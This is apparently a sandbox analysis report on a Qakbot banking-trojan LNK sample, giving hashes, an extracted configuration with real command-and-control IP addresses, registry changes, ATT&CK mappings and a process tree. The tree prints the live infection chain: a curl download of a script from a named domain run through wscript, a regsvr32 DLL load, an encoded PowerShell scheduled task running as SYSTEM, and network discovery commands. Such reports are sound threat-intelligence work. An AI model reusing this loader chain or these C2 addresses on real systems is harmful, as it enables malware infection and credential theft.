qakbot | 77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60

Resubmissions

08-09-2022 20:37

220908-zemtlschgp 10

08-09-2022 18:56

220908-xleqgafcf5 10

Analysis

max time kernel
1800s
max time network
1770s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
08-09-2022 20:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Export474.lnk
Size

2KB
MD5

e3bd2b8ab3b2aa72f21d6b1aea8dd4e0
SHA1

279b748f40cc8377d63b630c756c60644e9be89e
SHA256

77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60
SHA512

6aea0405c1eb507611c9ee21ac0ba0b8c2a719653ee1b644e015608ee5d3dae6a706f9b328b26ff3961cd7b690a9dfe1e6f6e30405d78c11efa08711f59b55cb

Score

10^/10

qakbot bb 1662647912 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

403.860

Botnet

Campaign

1662647912

197.94.210.133:443

193.3.19.37:443

70.51.153.182:2222

99.232.140.205:2222

123.240.131.1:443

177.102.84.28:32101

105.156.152.227:443

190.59.247.136:995

89.211.218.88:2222

81.214.220.237:443

85.99.62.74:443

191.97.234.238:995

81.131.161.131:2078

217.165.68.122:993

219.69.103.199:443

37.210.148.30:995

64.207.215.69:443

113.169.57.104:443

179.225.221.169:32101

151.234.99.49:990

Attributes

salt
SoNuce]ugdiB3c[doMuce2s81*uXmcvP

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Blocklisted process makes network request 2 IoCs

Processes:

wscript.exe

flow pid process

21 1480 wscript.exe
22 1480 wscript.exe
Downloads MZ/PE file

flow	pid	process
21	1480	wscript.exe
22	1480	wscript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

4664 regsvr32.exe
4664 regsvr32.exe
2804 regsvr32.exe

Drops file in System32 directory 8 IoCs

Processes:

explorer.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	explorer.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	explorer.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\t5[1]	explorer.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	explorer.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2804 schtasks.exe
Discovers systems in the same network 1 TTPs 2 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exenet.exe

pid process

4000 net.exe
1656 net.exe
Gathers network information 2 TTPs 4 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exenetstat.exeipconfig.exenetstat.exe

pid process

952 ipconfig.exe
4012 netstat.exe
3488 ipconfig.exe
1288 netstat.exe

pid	process
2804	schtasks.exe

pid	process
4000	net.exe
1656	net.exe

pid	process
952	ipconfig.exe
4012	netstat.exe
3488	ipconfig.exe
1288	netstat.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeexplorer.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\429baf47 = d7a69585bab2769a8f143ffee96d54c60a88890929f78c07f0a943042e93704be151aaaaddaa794a9fd05c2ac58d5760508acd	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\429baf47 = d7a68b85bab2455d9b558b92f2a0314a705961d40f0ee00e9dcce930736e127b1ab8f1b298bce9c555f7bb34d86fb3f467b81e4bb6f25eea1748c7e66ffe07997fa3728e104054f982a37ccb7f56102eac	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\429baf47 = d7a68285bab2455d9b558ad8f7a9354c7c5f62da410bec0a94c6e806b9795ec977a23bd9230d2a6235f75c9cb088a089b8368bd5e605dcdaac0f469cceb6b68df0cd6ecdd75fcc0d	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\429baf47 = d7a68b85bab2455d9b558b92f2a0314a705761dc0f0ee00e9dcce930736e127b1ab6f1ba98bce9c555f7bb34d86fb3f467b81e4bb6f25eea1748c7e66ffe07997fa3728e104054f982a37ccb7f56102eac	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\429baf47 = d7a68b85bab2455d9b558b92f2a0314a705b62d50f0ee00e9dcce930736e127b1abaf2b398bce9c555f7bb34d86fb3f467b81e4bb6f25eea1748c7e66ffe07997fa3728e104054f982a37ccb7f56102eac	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Oeofxyarpaf\75455f75 = 11e05ca4ac9af5454a6373415b5cfd30dc65a553c674855c8f5a1b	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3408 PING.EXE

pid	process
3408	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exeexplorer.exe

pid	process
4664	regsvr32.exe
4664	regsvr32.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe
4312	explorer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

4664 regsvr32.exe
2804 regsvr32.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

Processes:

powershell.exenetstat.exewhoami.exemsiexec.exenetstat.exewhoami.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	4012	netstat.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeDebugPrivilege	4460	whoami.exe
Token: SeSecurityPrivilege	8	msiexec.exe
Token: SeDebugPrivilege	1288	netstat.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	2968	whoami.exe
Token: SeDebugPrivilege	3496	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exewscript.execmd.exeregsvr32.exeregsvr32.exeexplorer.exepowershell.exeregsvr32.exeregsvr32.exenet.exenet.exe

description	pid	process	target process
PID 3752 wrote to memory of 2320	3752	cmd.exe	cmd.exe
PID 3752 wrote to memory of 2320	3752	cmd.exe	cmd.exe
PID 2320 wrote to memory of 4616	2320	cmd.exe	curl.exe
PID 2320 wrote to memory of 4616	2320	cmd.exe	curl.exe
PID 2320 wrote to memory of 1480	2320	cmd.exe	wscript.exe
PID 2320 wrote to memory of 1480	2320	cmd.exe	wscript.exe
PID 1480 wrote to memory of 32	1480	wscript.exe	cmd.exe
PID 1480 wrote to memory of 32	1480	wscript.exe	cmd.exe
PID 32 wrote to memory of 3408	32	cmd.exe	PING.EXE
PID 32 wrote to memory of 3408	32	cmd.exe	PING.EXE
PID 32 wrote to memory of 4732	32	cmd.exe	regsvr32.exe
PID 32 wrote to memory of 4732	32	cmd.exe	regsvr32.exe
PID 4732 wrote to memory of 4664	4732	regsvr32.exe	regsvr32.exe
PID 4732 wrote to memory of 4664	4732	regsvr32.exe	regsvr32.exe
PID 4732 wrote to memory of 4664	4732	regsvr32.exe	regsvr32.exe
PID 4664 wrote to memory of 4312	4664	regsvr32.exe	explorer.exe
PID 4664 wrote to memory of 4312	4664	regsvr32.exe	explorer.exe
PID 4664 wrote to memory of 4312	4664	regsvr32.exe	explorer.exe
PID 4664 wrote to memory of 4312	4664	regsvr32.exe	explorer.exe
PID 4664 wrote to memory of 4312	4664	regsvr32.exe	explorer.exe
PID 4312 wrote to memory of 2804	4312	explorer.exe	schtasks.exe
PID 4312 wrote to memory of 2804	4312	explorer.exe	schtasks.exe
PID 4312 wrote to memory of 2804	4312	explorer.exe	schtasks.exe
PID 4364 wrote to memory of 3708	4364	powershell.exe	regsvr32.exe
PID 4364 wrote to memory of 3708	4364	powershell.exe	regsvr32.exe
PID 3708 wrote to memory of 2804	3708	regsvr32.exe	regsvr32.exe
PID 3708 wrote to memory of 2804	3708	regsvr32.exe	regsvr32.exe
PID 3708 wrote to memory of 2804	3708	regsvr32.exe	regsvr32.exe
PID 2804 wrote to memory of 1392	2804	regsvr32.exe	explorer.exe
PID 2804 wrote to memory of 1392	2804	regsvr32.exe	explorer.exe
PID 2804 wrote to memory of 1392	2804	regsvr32.exe	explorer.exe
PID 2804 wrote to memory of 1392	2804	regsvr32.exe	explorer.exe
PID 2804 wrote to memory of 1392	2804	regsvr32.exe	explorer.exe
PID 4312 wrote to memory of 1656	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 1656	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 1656	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 3960	4312	explorer.exe	cmd.exe
PID 4312 wrote to memory of 3960	4312	explorer.exe	cmd.exe
PID 4312 wrote to memory of 3960	4312	explorer.exe	cmd.exe
PID 4312 wrote to memory of 620	4312	explorer.exe	arp.exe
PID 4312 wrote to memory of 620	4312	explorer.exe	arp.exe
PID 4312 wrote to memory of 620	4312	explorer.exe	arp.exe
PID 4312 wrote to memory of 952	4312	explorer.exe	ipconfig.exe
PID 4312 wrote to memory of 952	4312	explorer.exe	ipconfig.exe
PID 4312 wrote to memory of 952	4312	explorer.exe	ipconfig.exe
PID 4312 wrote to memory of 4268	4312	explorer.exe	nslookup.exe
PID 4312 wrote to memory of 4268	4312	explorer.exe	nslookup.exe
PID 4312 wrote to memory of 4268	4312	explorer.exe	nslookup.exe
PID 4312 wrote to memory of 3408	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 3408	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 3408	4312	explorer.exe	net.exe
PID 3408 wrote to memory of 1112	3408	net.exe	net1.exe
PID 3408 wrote to memory of 1112	3408	net.exe	net1.exe
PID 3408 wrote to memory of 1112	3408	net.exe	net1.exe
PID 4312 wrote to memory of 4888	4312	explorer.exe	route.exe
PID 4312 wrote to memory of 4888	4312	explorer.exe	route.exe
PID 4312 wrote to memory of 4888	4312	explorer.exe	route.exe
PID 4312 wrote to memory of 4012	4312	explorer.exe	netstat.exe
PID 4312 wrote to memory of 4012	4312	explorer.exe	netstat.exe
PID 4312 wrote to memory of 4012	4312	explorer.exe	netstat.exe
PID 4312 wrote to memory of 4944	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 4944	4312	explorer.exe	net.exe
PID 4312 wrote to memory of 4944	4312	explorer.exe	net.exe
PID 4944 wrote to memory of 4428	4944	net.exe	net1.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Export474.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c echo 'HI_U' && MD "C:\Users\Admin\AppData\Local\ur\B4O" && curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html && cd "C:\Users\Admin\AppData\Local\ur\B4O" && wscript enhrP.s_1L.QH0w.js && echo "Nj"
2⤵
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\system32\curl.exe
curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html
3⤵
PID:4616

C:\Windows\system32\wscript.exe
wscript enhrP.s_1L.QH0w.js
3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping go.com && regsvr32 _jey.dll
4⤵
- Suspicious use of WriteProcessMemory
PID:32

C:\Windows\system32\PING.EXE
ping go.com
5⤵
- Runs ping.exe
PID:3408

C:\Windows\system32\regsvr32.exe
regsvr32 _jey.dll
5⤵
- Suspicious use of WriteProcessMemory
PID:4732

C:\Windows\SysWOW64\regsvr32.exe
_jey.dll
6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4664

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 22:40 /tn jzoqqivj /ET 22:51 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AagBlAHkALgBkAGwAbAAiAA==" /SC ONCE
8⤵
- Creates scheduled task(s)
PID:2804

C:\Windows\SysWOW64\net.exe
net view
8⤵
- Discovers systems in the same network
PID:1656

C:\Windows\SysWOW64\cmd.exe
cmd /c set
8⤵
PID:3960

C:\Windows\SysWOW64\arp.exe
arp -a
8⤵
PID:620

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /all
8⤵
- Gathers network information
PID:952

C:\Windows\SysWOW64\nslookup.exe
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.WORKGROUP
8⤵
PID:4268

C:\Windows\SysWOW64\net.exe
net share
8⤵
- Suspicious use of WriteProcessMemory
PID:3408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share
9⤵
PID:1112

C:\Windows\SysWOW64\route.exe
route print
8⤵
PID:4888

C:\Windows\SysWOW64\netstat.exe
netstat -nao
8⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:4012

C:\Windows\SysWOW64\net.exe
net localgroup
8⤵
- Suspicious use of WriteProcessMemory
PID:4944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup
9⤵
PID:4428

C:\Windows\SysWOW64\whoami.exe
whoami /all
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:4460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AagBlAHkALgBkAGwAbAAiAA==
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4364

C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
2⤵
- Suspicious use of WriteProcessMemory
PID:3708

C:\Windows\SysWOW64\regsvr32.exe
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
3⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1392

C:\Windows\SysWOW64\net.exe
net view
5⤵
- Discovers systems in the same network
PID:4000

C:\Windows\SysWOW64\cmd.exe
cmd /c set
5⤵
PID:4336

C:\Windows\SysWOW64\arp.exe
arp -a
5⤵
PID:1364

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /all
5⤵
- Gathers network information
PID:3488

C:\Windows\SysWOW64\nslookup.exe
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.WORKGROUP
5⤵
PID:2752

C:\Windows\SysWOW64\net.exe
net share
5⤵
PID:1600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share
6⤵
PID:340

C:\Windows\SysWOW64\route.exe
route print
5⤵
PID:4588

C:\Windows\SysWOW64\netstat.exe
netstat -nao
5⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1288

C:\Windows\SysWOW64\net.exe
net localgroup
5⤵
PID:3996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup
6⤵
PID:4452

C:\Windows\SysWOW64\whoami.exe
whoami /all
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AagBlAHkALgBkAGwAbAAiAA==
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3496

C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
2⤵
PID:532

C:\Windows\SysWOW64\regsvr32.exe
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
3⤵
PID:4104

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Command-Line Interface

T1059

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
549KB

MD5
4b4540fd24eac43c02aab59e0be0b62f

SHA1
09ee211b8c2080c762a8a3d9ddea10d952add53e

SHA256
4221a2c8dae5bbb063c83f61b48a4911191ec818eaa4b0c6617d35f2138ca36a

SHA512
